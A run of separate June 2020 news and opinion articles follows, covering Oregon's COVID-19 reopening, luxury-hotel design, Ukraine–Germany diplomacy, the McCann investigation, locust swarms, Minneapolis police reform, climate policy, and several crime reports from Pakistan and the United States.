Oregons most populous county is the last to request to enter Phase 1. Thirty-one of the states 36 counties began that 21-day process on May 15, and 26 of those counties were approved Thursday to begin entering Phase 2 reopening in coming days.

The state has already allowed retail businesses to reopen as long as certain safety precautions are met. Phase 1 approval in Multnomah County would allow seated service in restaurants and bars, and the use of gyms, salons and other personal services as along as the business can follow sector-specific protocols governing social distancing, the use of face coverings and sanitization. Gatherings of up to 25 people would be permissible.

Phase 1 guidance on: retail | restaurants and bars | salons and personal services | outdoor recreation | sporting events | large gatherings, including concerts and festivals

The criteria to enter Phase 1 include a declining rate of COVID-19 infections, the ability to promptly trace all new cases, as well as adequate testing and hospital capacity, isolation facilities, and personal protection equipment for first responders.

Multnomah County leaders added additional criteria on top of the governors, most of which deal with minority and underserved populations being disproportionately impacted by the virus. They include hiring a contact tracing workforce that is reflective of county demographics and is able to work in needed languages. Officials also want to have sufficient testing sites accessible to underserved communities.

We are facing one public health crisis within another, County Chair Deborah Kafoury said in a letter accompanying the application. The County recognizes that an effective, equitable response to the pandemic that first touched our community four months ago requires us to actively address the disease that has been endemic to this country for 400 years. As both the local public health authority and the largest provider of safety net services in the state, Multnomah County is committed to putting that acknowledgement into action by inclusively leading with race.

Addressing the inequitable disease burden on communities of color is a critical part of our response and our path forward, she added in a news release.

According to the plan submitted Friday, Multnomah County can now meet -- or has a plan to meet -- all the state prerequisites, plus its added criteria.

The biggest hurdle is adequate contact tracing resources. County officials say they now have 63 trained contract tracers, and 70 will be on staff by June 8. Their plan is to reach the governors threshold of 122  15 contact tracers for every 100,000 in population  in June. Forty percent of planned case contact tracing positions with bilingual skills are currently filled.

And officials say low-barrier testing is now available across the county.

- Ted Sickinger; tsickinger@oregonian.com; 503-221-8505; @tedsickinger

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Opinion Article

5 June 2020

In the final article of this three-part series exploring space in relation to hotels and luxury hospitality, Suzanne Godfrey, consultant and lecturer in luxury and luxury hospitality, looks at the opportunities it creates for hoteliers to create space and to meet the needs and expectations of their guests today. See part 1 - See part 2

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The opportunity for hoteliers to create a Sense of space:

Having explored what space means in the context of luxury hotels and hospitality, how can hoteliers create space or the feeling of space to meet the needs and the expectations of their guests today, as well as respond to what may, in light of the coronavirus outbreak and people's recent experiences with it, be a growing consciousness for space - whether physical, social or personal - in the future?

Creating more physical space - whether in room size, corridors or public areas, through rebuilding and/or redesign, and offering a better outlook or aspect - in most cases, is not practical. However, there are things that hoteliers can be thinking about in relation to space and luxury hospitality; and how to create or offer that feeling of space that guests may be looking for.

Three key areas that I see include: (1) Space in relation to the brand, (2) Creating space through design, and (3) Providing privacy and personal space.

1. Space in relation to the brand

Defining space and what it means in relation to the brand is about who you are as a brand and how you reflect this in relation to the use of physical and public or social space, as well as in respect of personal space. It comes from:

looking at the brand's identity and defining what space means in the context of the brand's culture and personality;

defining the brand's attitude to space and how this might translate, for example, into architecture, design and choice of materials and furnishings that, over time, may become recognizable brand features; as well as

defining the relationship the brand wants to have with people, specifically clients or guests, but also how colleagues (employees) relate to each other, which is reflected in how the brand behaves, delivers service and, ultimately, defines the experience the brand wants to create for a guest.

Take, for example, the relationship the brand has with people. Some hotel brands may have a more casual, informal relationship with their guests based on who they are as a brand; whilst others may have a more formal one that is more appropriate to their brand culture. The W Hotels, for example - more a lifestyle than luxury brand - has a more informal and relaxed culture. The brand focuses on creating familiarity and adopts a very friendly manner. This is expressed in how they approach and greet guests. Overall, the relationship is much more interactive. This is perfectly appropriate for W and the brand it wants to be. It's also the experience guests expect to get from a W Hotel and may be one of the reasons for them choosing to stay there.

The brand's relationship and attitude to space may also depend on other factors that are related to the context, influenced, for example, by:

the location;

the primary purpose of the hotel or resort and guests' reasons for staying there - business, pleasure or both; as well as

the cultural make-up of the hotel's core clientele, which requires culturally-sensitive responsiveness.

Whilst these aspects will need to be considered on a property by property basis - and may evolve over time - how space is defined in each location needs to originate from an understanding of the brand, so it remains a reflection of who you are. This, in itself, will reinforce the brand's identity and may provide a basis for brand loyalty.

How the brand defines space obviously influences (2) and (3) below.

Architecture and design, The Lobby, One&Only The Palm, Dubai  courtesy One&Only

2. Creating space through design

Creating a feeling of space - or being more spacious - than the actual physical dimensions is about space planning and design. Whilst this largely depends on the expertise of a good designer and/or architect, the following are some areas where I see opportunities to "create" space:

Creating a sense of space

Creating a sense of space through:

interior design - the use of light - natural or artificial and mirrors; as well as, for example, choice of materials, fabrics and colors - see Aman example below;

- the use of light - natural or artificial and mirrors; as well as, for example, choice of materials, fabrics and colors - see Aman example below; spatial design - proximity to things defined by the interior layout, design and furniture, as well as in relation to people and managing social density at any one time or place. This includes service design and the positioning of service elements as part of the servicescape - the physical environment in which service takes place - and its effectiveness in delivering service, which may extend from check-in, to access to facilities, to the seating and table arrangements of restaurants, bars and terraces.

In recent weeks, we have all become more spatially aware, particularly in the context of proximity to people, with hotels having to look at the design of their servicescape, amongst other things, and make changes to meet the requirements of social distancing.

Decluttering

Less is more! Decluttering relates to the space and arrangement of furniture in a room and includes, for example, the style of furniture, the decoration and the quantity of pictures or ornaments and how they are displayed. This does not mean it has to be stark or minimalistic, although minimalistic design can create the impression of space in some instances - see Aman example below. It also does not mean that it can't still be homey!

Ambience and mood

Creating the right ambience for the guest that conveys a sense of space through how the guest emotionally feels. This may involve using design and styling to create a more relaxed environment. Or, the use of sensorial aspects, such as color, scents, music and natural sound effects that are designed to calm the senses and bring a feeling of peace and tranquility.

Whilst much of the above is the domain of an architect and/or designer, it's important that they understand the brand and create a space that reflects the brand and it's not design for design's sake.

3. Providing privacy and personal space

Privacy and personal space for guests is partly defined by the brand's behavior - how the brand acts, what it does and how. It is, therefore, directly related to the attitude and behavior of employees in relation to the guest, as well as how service is delivered. It includes recognizing the guest's need or desire for space and tailoring the experience by creating time and emotional space on an individual, guest-by-guest basis. It also relates to proximity to people and respect for personal space, particularly in a social context. This extends from the interaction and relationship between guests and employees, as well as with other guests.

As we emerge from a Covid-19 pandemic, guests may be more conscious of personal space and having it or, alternatively, be craving more human interaction and contact after months of social distancing.

Some concepts to consider in relation to personal space and providing privacy for guests include:

Space in time

Giving the guest time to relax: This involves:

Providing an overall experience that respects the guest's need for space in time. For example, offering activities such as meditation, yoga, massages, as well as other traditional or non-traditional therapies; and creating opportunities for a digital detox.

Giving the appearance of being unscheduled. This includes flexibility in the arrangement of activities and meals, as well as room service and hotel operations that affect the guest.

Providing relaxed yet seamlessly efficient service that reflects national culture and respects cultural differences, particularly in relation to the guest's concept of time. For example, what might mean "on time" and "efficient" in one culture, may be perceived as rushed and stressful in another.

Recognizing personality differences that may affect how an individual emotionally feels in certain situations. This may, for example, depend on the guest's degree of openness to experiences, extroversion or agreeableness, which may influence their behaviour and how they respond to interactions and service delivery.

Understanding the cultural differences and personality of each individual guest is obviously not always possible. But, over time, through observation, knowing the guest and having a deeper understanding of cultural dimensions and personality traits, it is possible to be more aware of the specific characteristics of regular or long staying guests and thereby appreciate how comfortable they are likely to feel in a particular situation. This will help to create space in time and provide a more relaxing experience for them.

Intuitive, anticipatory service

Providing exceptional service that is intuitive, subtle and/or invisible, relies on people and process and requires both to be highly tuned. It also requires delivering service that is not intrusive. A number of years ago, I went to a renowned Michelin star restaurant of a celebrated French chef. It was a family celebration and I was really looking forward to it. I appreciate good service, but on this occasion, the service was so efficient that it was intrusive. The waiter hovered by my shoulder all evening invading my personal space. It affected the interaction of others at the table and the overall ambiance. There was no space or time permitted to relax and to simply enjoy the experience and the occasion. I never went back.

Exceptional service that is anticipatory requires:

being attentive to guests' needs and alert to situations and particular circumstances, but without being intrusive;

being observant, apprehending guests' needs or desires, and responding appropriately;

a degree of contextual sensitivity - see below; and

knowing the guest and, for example, their particular habits, likes and dislikes - data which can be collected over time and shared as part of a personal guest profile.

Contextual sensitivity

Contextual sensitivity is about knowing and reading the moment and mood of the guest and being able to respond appropriately whatever the occasion. This includes:

sensitivity to the situation - this may be affected by the weather, location, time of day or other external forces or aspects that relate to the context; as well as

knowing the guest and their particular circumstances - this should include the reason for their stay and who they are traveling with, as well as other information that may be of value and relevant to the situation.

Guest information may be directly or indirectly obtained both in advance and during the guest's stay through frontline employees from reception to room service, as well as guest relations and hotel managers. This may occur through interactions with the guest, in the course of natural conversation, as well as being observant and attentive, which includes picking up on chance comments or remarks. For new guests particularly, the Internet may also be a source of information. To be useful, this information is best shared through a formalized feedback process that respects guest privacy and is made available to relevant departments and individuals so they can use it during the guest's stay.

Management of guest interactions

Managing the relationship with the guest requires knowing when and how to interact with them, being professional and appropriate in all situations, and ensuring the guest gets the personal and emotional space they want or need. This comes from:

knowing the guest and having an emotional connection with them - this is something that is strengthened over time;

being able to read the guest's body language and respond appropriately - this may depend on the individual and the context, for example, one day, a guest may be happy to engage, on another, they may prefer to be left alone;

being culturally sensitive to a particular guest and the situation with respect to spatial distance - people of different cultures have a different perspective of space and what is felt to be an encroachment on personal space, which may create discomfort versus what is acceptable, and may also respond differently to spatial cues;

managing guest interactions and being sensitive to the dynamic between guests - this is sometimes difficult to control, but relies on being culturally and contextually sensitive; and finally

respecting the relationship the brand wants to have with the guest.

Case Study: Aman

One luxury resort and hotel brand that doesn't (yet) have a property in Dubai, but provides a good example of some of the ideas presented here, is Aman.

Aman describes itself as a destination for "space and privacy" and has defined what space means in relation to the brand. It uses architecture and design to create space within its properties and also focuses on providing privacy and respecting guest's personal space. In so doing, it claims to instill "a sense of peace" to all who stay there.

How does Aman do this?

From the opening of its first property - Amanpuri, which itself means "place of peace" - on the island of Phuket, Thailand in 1988; Aman adopted a design aesthetic and approach to space planning, which demonstrated an understanding of space and how to create peace and harmony that defined a new era in the design for luxury hotels and resorts. The interior and exterior design, for example, included large open spaces. Guest rooms incorporated what they call "oversized" en-suite bathrooms with dressing areas, terraces and pavilions. There was also extensive use of natural light and materials, as well as mirrors. The brand also embraced a minimalistic approach based on the concept "less is more". This extended to the relatively small number of guest rooms - at Amanpuri there are just 40 - in order to provide guests with the space and privacy they wanted to offer.

Villa bathroom with view, Amanpuri, Thailand  courtesy Aman

Terraces and space, Ocean Villa, Amanpuri, Thailand  courtesy Aman

Aman's mission, which reflects who they are as a brand, is, "to cultivate a sense of connection, stillness and peace through carefully considered architecture, which provides guests with the opportunity to slow down, find respite from the rigors of everyday life, and reach a deeper bond with both the self and the world that surrounds them." Although the architecture and design are adapted to each location to reflect the local environment and context, their design aesthetic, which reflects how people think and feel, became a blueprint for future properties and part of the brand's identity.

Their philosophy also extends to their service ethos. Aman's service is highly personalized. It is akin to what the Japanese call "omotenashi" - the art of Japanese hospitality; which is based on anticipatory service and deeply rooted in the concept of caring. Aman recognizes that each guest is different with unique desires and needs and aims to anticipate these and deliver service that has been described as "one step ahead of the guest". This requires a profound understanding of the guest and maintaining a detailed personal guest file that is shared across properties globally. It also requires relevant and frequent training, and empowering employees to make decisions that will create a meaningful guest experience. The very high staff to guest ratio, which is well above the industry norm, obviously helps as well.

Service and a sense of peace, Amanpuri, Thailand  courtesy Aman

A lot of the above - especially providing privacy and personal space; relies on employee and management training, developing people skills, being culturally sensitive and having an understanding of personality traits, as well as employee attitude and temperament. It's not just about what you say, but how you say it and the tonality used in guest interactions. It's also about what you do and how you do it, which includes awareness of not just the guest's body language, but also your own. This relates to all employees including management and how individuals work together as a team. Some things can't be taught, but a lot of this can!

It also involves clearly defining the brand's service philosophy, which reflects the brand's culture and personality. Then making sure everyone understands this with training and incentives tailored to deliver it. Ultimately, it's about knowing who you are as a brand and creating the relationship and delivering the experience the brand wants to have with their guests.

References:
The Ukrainian side reaffirmed its commitment to ultimate coordination with partners  Germany and France  on the peaceful settlement in Donbas.

Ukrainian President Volodymyr Zelensky during his phone conversation with Chancellor of Germany Angela Merkel on Friday, June 5, discussed the restoration of peace in Donbas and, in particular, the results of the working visit of the Ukrainian delegation to Germany on June 2.

The leaders noted the "high level of mutual understanding" on key approaches to a peaceful settlement, emphasizing "the lack of alternatives to the diplomatic path", the Ukrainian president's office reported.

"It was a very meaningful visit that will give impetus to the Normandy format," Volodymyr Zelensky said.

The interlocutors emphasized the need for consistent and strict implementation by the parties involved of all agreements reached during the Normandy Four Paris Summit in December 2019.

Read alsoRussia must comply with Minsk Agreements, German Foreign Minister reminds Lavrov

"We are open, we are ready to move forward. It's extremely important to guarantee the International Committee of the Red Cross access to the occupied territories for the verification of detainees. The OSCE SMM's access to monitoring is also important. We want to agree on new disengagement areas. Effective implementation of the agreements reached last year in Paris should pave the way to the next summit in Berlin," the Ukrainian president said.

The Ukrainian side reaffirmed its commitment to ultimate coordination of efforts with partners on the peaceful settlement in Donbas  that's with Germany and France.

"Chancellor Angela Merkel stated her support for the changes in the work of the Trilateral Contact Group initiated by Ukraine," the report reads.

The president of Ukraine informed the German chancellor of the current security situation in Donbas, emphasizing the problems that require increased attention on the part of international partners.

A number of issues on the Ukrainian-German bilateral agenda were also discussed, including cooperation between the countries in the field of countering the COVID-19 pandemic, as well as financial and economic relations.

The president of Ukraine thanked Angela Merkel for the clear and consistent position of Germany on the impossibility of changing the G7 format until Ukraine's territorial integrity is fully restored.
(Newser)  German prosecutors have opened an investigation into whether a 43-year-old man who has emerged as a possible suspect in the disappearance of British girl Madeleine McCann in Portugal may have been involved in a similar crime in Germany. Prosecutors in Stendal, 60 miles west of Berlin, told the dpa news agency Friday they had opened a preliminary investigation to determine whether there was anything to link the man to the 2015 disappearance of a 5-year-old girl from a nearby forest. Authorities have not released his name, but he has been widely identified by the German media as Christian B, the AP reports. He reportedly had a property 60 miles southwest of Stendal, in the town of Neuwegersleben, when the girl disappeared. Madeleine was 3 at the time of her 2007 disappearance from an apartment while her family vacationed in the seaside town of Praia da Luz in Portugals Algarve region.

story continues below

German authorities this week said they had identified the German citizen as a suspect in the McCann case and are investigating him on suspicion of murder. The suspect, who is currently in prison in Germany, spent many years in Portugal, including in Praia da Luz around the time of McCanns disappearance, and has two previous convictions for sexual contact with girls, authorities said. His description fits that of a 43-year-old man who was convicted in December in the city of Braunschweig of the 2005 rape of a 72-year-old American woman in her apartment in Portugal, based largely on DNA evidence. The suspect denied the charges during his trial and has appealed his conviction. According to a copy of the rape verdict, the German man is a career criminal who was in and out of jail. Records show his crimes included the sexual abuse of a child in 1994 and 2016.

(Read more Madeleine McCann stories.)
By Azernews

By Akbar Mammadov

Azerbaijans Foreign Minister Elmar Mammadyarov has held discussions on further opportunities to expand bilateral economic and trade relations with his Serbian counterpart and First Deputy Prime Minister Ivica Dacic, the MFAs press service reported on June 4.

During the telephone conversation, the sides exchanged views on bilateral economic and trade relations, noting the necessity of exploring the opportunities to expand these relations in the future.

The inisters also noted with satisfaction the current state of political relations between Azerbaijan and Serbia, exchanging information on the bilateral cooperation agenda.

Furthermore, Mammadyarov and Dacic reiterated the firm position of both countries to support the sovereignty and territorial integrity of the states. In this regard, the principled position of the two countries has also been emphasized, as reflected in bilateral documents.

Exchanging views on the current global health crisis, the Ministers stressed the importance of solidarity and mutual support in the fight against the new coronavirus.

In the end, the ministers agreed to keep the contacts and exchanged invitations to visit the countries after the pandemic is over.
Pursuant to the No. 2805/2020/CV-TDP dated 28th May 2020 of Thuan Duc Joint Stock Company regarding the cancellation of the shareholder list for attending 2020 Annual General Meeting, Vietnam Securities Depository (VSD) would like to announce as follows:

Cancelling the shareholder list for holding 2020 Annual General Meeting on the record date of 30th March 2020.

Reason for cancellation: Due to the complicated developments of the Covid  19 pandemic, the company decided to change the meeting date of 2020 Annual General Meeting
India and Pakistan have joined forces to fight a common enemy that affects farmers on both sides of the border - the desert locust.

Both the countries and their respective authorities are working under a forum administered by the Food and Agriculture Organisation (FAO) to fight the invasion of desert locusts that eat and destroy crops worth hundreds of crores every year.

India, Pakistan along with Iran and Afghanistan are members of FAOs Commission for Controlling the Desert Locust in South-West Asia (SWAC). SWAC is one of the three regional commissions that work for locust early warning and prevention system.

As per a report by Dawn, one of Pakistan's English dailies, Pakistan's Foreign Office spokesperson Aisha Farooqui described the cooperation as fruitful in exchanging information in the bordering areas of Pakistan and India.

She said, as per the report, "We believe that the respective Technical Teams have been coordinating appropriately through FAO. Pakistan remains committed to cooperating with all SWAC member states, including India, in combating Desert Locust outbreak.

The Desert Locust is one of about a dozen species of short-horned grasshoppers (Acridoidea) that are known to change their behaviour and form swarms of adults or bands of hoppers (wingless nymphs). The swarms that form can be dense and highly mobile.

The magnitude of the damage and loss caused by the locusts is very gigantic beyond imagination as they have caused starvation due to its being polyphagous feeder, and on an average small locust swarm eats as much food in one day as about 10 elephants, 25 camels or 2500 people. Locust cause damage by devouring the leaves, flowers, fruits, seeds, bark and growing points and also by breaking down trees because of their weight when they settle down in masses.

Also Read: What are locusts and how are they harmful? Heres everything you need to know

India alongwith Pakistan has been at the receiving end of desert locusts attack this year that has been described as the worst in 26 years by experts.

As per a report the attacks may continue to worry Indian farmers until July this year.

According to a recent report by the Food and Agriculture Organisation (FAO), the locust swarm currently affecting parts of India, was responsible for crop infestation in 2,80,000 hectares across 13 countries prior to arrival in India.

It entered India through the western state of Rajasthan on May 13. Scientists predict that the crisis will increase as we enter the monsoon season.

Also Read: Locust attacks in India: What is the government's contingency plan?

Of late, the Odisha government has identified nine districts vulnerable to possible locust invasion, and has put the farmers and the agriculture department on high alert.

Most of the districts bordering Andhra Pradesh, Chhattisgarh and Jharkhand have been put on high alert and the Odisha government is working with the neighbouring states to constantly monitor the movement of locust swarms.
Minneapolis agreed Friday to ban chokeholds by police and to require officers to try to stop any other officers they see using improper force, in the first concrete steps to remake the city's police department since George Floyd's death.

The changes are part of a stipulation between the city and the Minnesota Department of Human Rights, which launched a civil rights investigation this week in response to the death of Floyd. The City Council approved the agreement 12-0.

Human Rights Commissioner Rebecca Lucero said the changes are necessary to stop ongoing harm to people of color "who have suffered generational pain and trauma as a result of systemic and institutional racism."

"This is just a start," Lucero said. "There is a lot more work to do here, and that work must and will be done with speed and community engagement."

The agreement requires court approval and would become enforceable in court, unlike the department's current policies on the use of force and duties to intervene. It would require officers to immediately report to their superiors when they see use of any neck restraint or chokehold.

Floyd, a handcuffed black man, died after Officer Derek Chauvin pressed his knee on his neck, ignoring Floyd's "I can't breathe" cries and bystander shouts even after Floyd stopped moving. His death has set off protests around the world.

Chauvin is charged with 2nd-degree murder. Three other officers are charged with aiding and abetting. All have been fired.

Lucero said the changes go further than the department's current policies. Any officer who doesn't try to stop improper use of force would face the same discipline as if they themselves used improper force.

The agreement also would require authorization from the police chief or a deputy chief to use crowd control weapons such as tear gas, rubber bullets and flash-bang grenades. Such tactics were used in Minneapolis and other cities in the past week to disperse protesters.

The stipulation also sets a process for the city and state to negotiate longer-term changes, such as changing state laws that make it difficult to fire problem officers.

"This is a moment in time where we can totally change the way our police department operates," Mayor Jacob Frey told the council. "We can quite literally lead the way in our nation enacting more police reform than any other city in the entire country, and we cannot fail."
JHOOMAR MEHTA And KARAN BHASIN By

There has been growing concern over the prospects of an increase in poverty and inequality due to the economic implications of Covid-19. Migrant labourers find themselves out of jobs and people have also faced loss of employment in the service industry. It is evident that there will be an impact on the most vulnerable sections of the population.

The government will have to provide adequate policy support over the coming months to alleviate the stress faced by the bottom 50% of the population that is directly vulnerable to the prospects of falling back into povertyif not already poor. Those who are already poor may find it difficult to sustain their present levels of consumption and may find themselves relying more on the PDS system to meet their calorie requirements.

Luckily, the government has provided adequate support to address the consumption of adequate food grains through various parts of its `20 trillion stimulus package for the most vulnerable sections. While government support will help alleviate the immediate stress, there is a severe resource constraint and the sustainability of such support is questionable. So what is needed is to revive the level of economic activity back to the pre-Covid situation as quickly as possible.

This, of course, seems to be the intent of the government as it unveils its stimulus package that combines fiscal, monetary and macro-prudential policy interventions. The success of these measures will determine what happens to poverty and inequality over the coming months as economic activity returns to normal over time. However, an advantage of the Covid crisis has been in the form of an improvement in the quality of environment. This has been witnessed across the world and it reveals the extent of externalities that human production produces on the environment. The global disruption caused by the pandemic is leading towards a decreased energy demand, which in turn reduces global greenhouse gas emissions. For the first time in four decades, Indias carbon emissions fell by 1% or 30 million tonnes of CO2 in the fiscal year ending March 2020.

Further a monthly fall of 15% in carbon emissions was noted during March, followed by a 30% drop in April. Measures taken to combat the impact of Covid-19, an economic slowdown, falling consumption of coal and oil, and increasing renewable energy generation have all contributed towards this fall. History is witness to the fact that emission reductions caused by economic slumps tend to be temporary and can be followed by emissions growth as economies strive to bounce back. After the global financial crisis of 2008, CO2 emissions from fossil fuel combustion and cement production grew by 5.9% in 2010, counteracting the 1.4% decrease in CO2 noted during 2009.

An early lesson we learnt is governments have the ability to take urgent and drastic steps to tackle a crisis like the one caused by Covid- 19. As we attempt to emerge from the ongoing crisis, clarity is needed towards the way we respond to it. Bad long-term investments to offset the short-term economic slowdown do not make sense. The growing body of evidence shows a low-carbon and climate-resilient growth would yield lasting benefits. Sustainable infrastructure should receive the required attention and investment from governments. It would help in creating more jobs and augment socio-economic benefits in the long-term.

We all have a role to play as we look for appropriate measures that would help boost economic growth after Covid-19 in a way that curbs air pollution and helps address the underlying climate crisis concerns. The finance sector is in the process of getting its act together as it realises the risks associated with investments made in high-carbon activities. Major asset management owners and companies are increasingly committing to transition their investment portfolios to net zero emission investments by 2050 and move away from fossil fuel investments. Leaders in both business and government sectors across the world are looking for ways to get their economies back on track in a sustainable manner. Developments in the clean energy space has increased accessibility to new technologies at lowered costs.

The way leaders respond to this unique opportunity will dictate the climate trajectory for thousands of years to come. As we try to fight and emerge from the crisis, it gives us the needed moment to rethink and learn from our past behaviour. The key issue is whether a growth strategy that puts environmental issues at its core is possible after Covid. Sustainable growth means sustaining growth over time and there is a resource constraint in the form of natural inputs.

Environment degradation only worsens the resource constraints, and this can have serious long-term economic implications, including a structurally lower level of growth due to lack of inputs. The argument that stresses the need for growth ignoring the environment as a means to reduce poverty is unable to capture the intergenerational impact of resource constraints. While economic activity will perhaps revert to the pre- Covid situation, we must revisit our economic systems and have a genuine multilateral dialogue about the perils of climate change and its implications on global poverty and the sustainability of economic growth over time. (Views are personal)

JHOOMAR MEHTA

New Delhi-based public policy and development finance researcher

KARAN BHASIN New Delhi-based economist
A Pakistan couple have been arrested for allegedly murdering their seven-year-old maid after she was blamed for letting a pet bird escape, police said, the latest case of violence against child domestic workers in the country. Hassan Siddiqui and his wife employed Zohra Bibi at their home in a middle-class suburb of Rawalpindi, near the capital Islamabad, to care for their son of a similar same age. "The poor girl was subjected to torture by Siddiqui and his wife who accused her of freeing one of the four pet Macao parrots," investigating officer Mukhtar Ahmad told AFP on Thursday. "Siddiqui kicked her in the lower abdomen which proved fatal." Some 8.5 million people -- including many children -- are employed as domestic workers in Pakistan, according to the International Labour Organization. Theoretically it is illegal to employ anyone under the age of 15, but it remains common practice. Zohra was taken to hospital by the couple on Sunday, but died the following day. The incident was reported to the police by staff at the hospital. The young girl's body was handed over to her parents, who live in Muzaffargarh, near the city of Multan, more than 500 kilometres (300 miles) away from where she was working. Human rights minister Shireen Mazari confirmed the arrests in a tweet and said the ministry was in touch with police. "Violence and physical torture against children will not be tolerated and all those involved in such incidents will be dealt with," city police chief Muhammad Ahsan Younus added. Domestic workers frequently face exploitation, violence and sexual abuse, with Pakistan's patriarchal and rigid social-class structure leaving them without a voice. Children are particularly vulnerable, and Bibi's case is the latest in a growing number of incidents involving minors. In December 2018, the rising number of abuse cases led the provincial legislature in Punjab to set regulations for the employment of domestic workers, which theoretically grants them rights such as sick leave and holidays.
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Editors note: Pham Vu is a Tuoi Tre (Youth) newspaper journalist based in Ho Chi Minh City, Vietnam.

In this editorial originally written in Vietnamese and published in the June 4, 2020 issue of the Tuoi Tre daily, she commented on the miraculous journey of Vietnams novel coronavirus disease (COVID-19) patient No. 91  a 43-year-old British man who works as a pilot for Vietnam Airlines  from being gravely ill to regaining consciousness and being able to smile while interacting with health workers at Cho Ray Hospital in Ho Chi Minh City, where he is treated.

Her commentary has been translated by Tuoi Tre News and edited for clarity, consistency, and coherence.

We could only imagine the eye-opening experience that patient No. 91  arguably the most enduring case of COVID-19 in Vietnam  may go through as he is informed about the string of events that went down in his two-month period of unconsciousness.

News of patient No. 91s positive recovery took many Vietnamese by surprise. In the overwhelming congeries of present-day news, the images of the British pilot reclaiming his ability to open his eyes, smile, and grab objects came as a delight.

Over the last two months, the stranger pilot has become a household name, being mentioned in the banter of families and friend groups. In another word, the whole country is concerned for his health.

As news about his condition gets updated to the minute, Vietnamese people have gone with him through moments of highs and lows, hope and hopelessness, wishing and praying for him to pull through.

Vietnams medical sector has invested its best in patient No. 91s case, from getting top-tier doctors from across the country to discuss his situation on a 24/7 basis to scheduling personnel of Ho Chi Minh Citys hospitals to tend to the patient relentlessly.

For the medical practitioners on duty, there has been hardly any pause since patient No. 91 was hospitalized. There was also no moment of backtracking when they were faced with the accruing cost of medical procedures that the case entails.

The public also show no hesitation to step in: when doctors considered a lung transplant for the Briton, dozens of people signed up.

All these feats extraordinaire are seen as common acts of decency in a developing, resource-limited Vietnam.

It would be redundant to speak any further on the miraculous recuperation, aided by scientific and humane efforts from Vietnamese people, of the Briton.

There is one Vietnamese saying that goes, Your best effort can triumph over fate. As the COVID-19 fight continues, those words are upheld as a shared motto: as long as people stand shoulder to shoulder to factor in the best effort to make the right decision, even the allegedly untamable pandemic can be eradicated, and patients seemingly beyond cure brought back to life.

Though the fight is far from over, small victories like the recovery of patient No. 91 serve as a vital morale boost.

Each and every single human life is priceless. With that in mind, Vietnams medical professionals have exerted full forces to save a life from a near-lethal condition. The splendid recuperation of the patient paves the way for Vietnam to prove its prowess and commitment to the set of values it has chosen.

A drastic lifestyle change is apparently expected for a person who went through a near-death experience. For the British pilot, changes are surely afoot.

For the Vietnamese that went through COVID-19 in the same climate, the pandemic has also given rise to thought and contemplation.

While life is infinite and full of possibilities, human lives, on the contrary, are finite and limited. Wealth, fame, and influence can barely guide people through ordeals. The transience of life can make the switch, turning black to white and vice versa in the blink of an eye.

Yet, within the settings of life, people still have the power in their hands to shake up all patterns by stacking singular efforts, doing our individual part to create a better living environment, just like the way Vietnamese doctors have striven and succeeded in lifting the British man out of darkness and back to life.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
SAGINAW, MI  A Saginaw woman is accused of stabbing her boyfriend, though not shooting him, despite him having both types of wounds.

Prosecutors say this is because they believe another person inflicted the gunshot wound.

Tiesha N. Jones, 31, on Friday, June 5, appeared via Zoom from jail before Saginaw County District Judge Terry L. Clark for arraignment on single counts of felonious assault and lying to a peace officer. The charges are punishable by up to four and two years in prison, respectively.

Prosecutors said that around 8 p.m. on May 31 a man arrived at Covenant HealthCare hospital with both a gunshot wound and a stab wound. Police previously said the gunshot wound was to the mans arm.

Subsequent investigation indicated the man was wounded at Jones house in the 700 block of Vermont Street. Prosecutors are alleging Jones told police she had shot the man, when in fact she had stabbed him.

The shooter remains at large, prosecutors said.

Clark set Jones bond at $1,000 cash-surety or 10 percent.

In an unrelated matter, Clark also arraigned Jones on a charge of third-degree home invasion, a five-year felony, stemming from an April 23 incident involving a residence in the 1800 block of Arthur Street. The judge also arraigned Jones on a misdemeanor count of violation of a governors order, a misdemeanor.

Defense attorney Lauren Dye said Jones is currently serving a 92-day jail sentence for probation violation stemming from operating a motor vehicle while impaired.

Related:

Police investigating after 7 people shot in 2 separate Saginaw shootings
Amy Atkisson (pictured in mugshot) was accused of using pepper spray on a group of Black Lives Matter protesters on Sunday

A California woman was arrested after she allegedly shot pepper spray out of a Lexus at a group of Black Lives Matter protesters, including a 16-year-old victim.

Amy Atkisson, 46, was taken into custody by the Ventura County Sheriff's Office for a 'pepper spray incident' in the city of Thousand Oaks Sunday evening.

Cell phone footage of the incident shows a group of demonstrators holding a peaceful protest over the death of George Floyd, a 46-year-old black man who died after a white officer knelt on his neck for eight minutes.

The group of protesters appeared to be mostly teenagers and young people.

While the group chants 'Black Lives Matter' at cars waiting at an intersection, a woman alleged to be Atkisson rolls down the window of her Lexus SUV and unleashes pepper spray at the protesters.

One of the victims appears to have been sprayed in the eyes. Nearby protesters rush to the girl's aid while the Lexus SUV drives away.

The person filming the altercation captured the vehicle's license plate, which helped authorities track down the owner of the vehicle.

The Ventura County Sheriff's Office said the incident happened on Sunday evening in Thousand Oaks, which is around 40 miles from Los Angeles

'Detectives worked quickly to identify the victim and possible suspect in this incident,' authorities said in a press release.

'Numerous witnesses who were either at the scene when the incident occurred or saw the video on social media came forward with information.

'A thorough investigation was conducted and probable cause was developed to arrest (S) Amy Atkisson for the pepper spray assault.'

The release listed a 16-year-old minor as a victim in the incident.

Atkisson was booked for unlawful use of tear gas, which is punishable with a prison sentence and a fine up to $1,000.

'...Any person who uses tear gas or any tear gas weapon except in self-defense is guilty of a public offense and is punishable by imprisonment...for 16 months, or two or three years or in a county jail not to exceed one year or by a fine not to exceed one thousand dollars ($1,000), or by both the fine and imprisonment,' according to California law.

A woman, identified as Atkisson by authorities, is seen spraying protesters with a substance believed to be pepper spray

One of the protesters appeared to be sprayed in the eyes and authorities said in a statement that there is a 16-year-old victim

She was released on zero bail in accordance with The Judicial Council of California emergency measure that sets bail to zero in response to the COVID-19 pandemic.

Atkisson is scheduled to appear in court on July 31.

Thousand Oaks is located around 40 miles from downtown Los Angeles, which has become one of many cities to rise up in protest over the death of George Floyd.

Floyd died in police custody after Derek Chauvin, a white former officer with the Minneapolis Police Department, knelt on his neck for several minutes. Floyd later died at a local hospital.

Chauvin has since been arrested for Floyd's death, as well as three other officers who were at the scene during the disturbing incident.

This has sparked protests across the United States with demonstrators fighting against police brutality and systematic racism.

The demonstrations erupted in several cities, including New York City and Atlanta, and eventually there were recorded protests in all 50 states.

Pictured: Demonstrators chant their slogans during a protest over the death of George Floyd on Thursday in Los Angeles, California

While several of the protests have been peaceful, others have been marred by continued instances of police brutality, violence and looting.

The National Guard was deployed to at least 16 cities like Minneapolis, Los Angeles, Washington D.C.

